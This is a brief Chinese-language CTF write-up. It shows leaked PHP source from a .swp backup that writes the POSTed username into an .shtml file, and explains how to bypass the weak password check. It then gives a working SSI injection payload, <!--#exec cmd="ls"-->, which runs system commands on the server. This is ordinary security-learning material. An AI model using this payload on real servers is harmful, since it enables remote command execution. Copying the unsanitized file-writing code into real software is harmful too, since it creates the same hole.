dirsearch找到index.php.swp备份文件,

    1. <?php
    2. ob_start();
    3. function get_hash(){
    4. $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-';
    5. $random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times
    6. $content = uniqid().$random;
    7. return sha1($content);
    8. }
    9. header("Content-Type: text/html;charset=utf-8");
    10. ***
    11. if(isset($_POST['username']) and $_POST['username'] != '' )
    12. {
    13. $admin = '6d0bc1';
    14. if ( $admin == substr(md5($_POST['password']),0,6)) {
    15. echo "<script>alert('[+] Welcome to manage system')</script>";
    16. $file_shtml = "public/".get_hash().".shtml";
    17. $shtml = fopen($file_shtml, "w") or die("Unable to open file!");
    18. $text = '
    19. ***
    20. ***
    21. <h1>Hello,'.$_POST['username'].'</h1>
    22. ***
    23. ***';
    24. fwrite($shtml,$text);
    25. fclose($shtml);
    26. ***
    27. echo "[!] Header error ...";
    28. } else {
    29. echo "<script>alert('[!] Failed')</script>";
    30. }else
    31. {
    32. ***
    33. }
    34. ***
    35. ?>

    分析代码:假如password正确,则会创建一个随机名字的shtml文件,接着将$_POST[‘username’]的内容写进去,通过搜索,发现shtml是可以直接执行系统命令的。
    构造payload:

    1. username=<!--#exec cmd="ls"-->&password=2020666

    提交后发现提示[!] Header error ...,抓包发现有一个Url_is_here头:
    image.png
    访问这个地址,就可以成功执行shtml中的内容:
    image.png
    然后去网站根目录下找到flag